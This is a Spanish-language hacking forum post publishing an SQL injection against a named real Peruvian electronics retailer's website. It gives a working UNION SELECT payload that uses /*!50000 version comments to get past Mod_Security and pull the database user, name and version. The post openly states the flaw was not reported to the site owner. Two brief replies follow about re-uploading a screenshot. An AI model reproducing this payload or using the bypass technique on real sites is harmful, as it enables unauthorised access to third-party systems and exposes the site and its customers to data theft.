[SQLi] https://impulso.com.pe

Sitio : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Descripción Del Sitio : Venta de artículos electrónicos en Perú.

Descripción de la inyección : Bueno esta inyección necesito un poco mas de creatividad que lo normal ya que se necesito pasar por sobre Mod_Security, el cual intentaba atraparme en mi intento de inyección, pero con tiempo y paciencia al fin lo logre bypassear al agregar !50000 antes de los comandos SQL que filtraba .

• [SQLi] Inyección en URL (el resultado se la inyección se ve reflejado en la imagen, así que si miramos el código fuente veremos la inyección ).
     
  
      Url del sitio : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  
     Vector : -1%27/*!50000UNION*//*!50000SELECT*/1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4,5%20--+&cat_id=50
  
      xploit : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  
      Reportado: NO
  
      Autor: RREEDD

Muy bueno @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta la imagen está caida, puedes resubirla?

Gracias,

Un saludo!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy bueno @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta la imagen está caida, puedes resubirla?

Gracias,

Un saludo!

Hola compañero @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  imagen resubida  .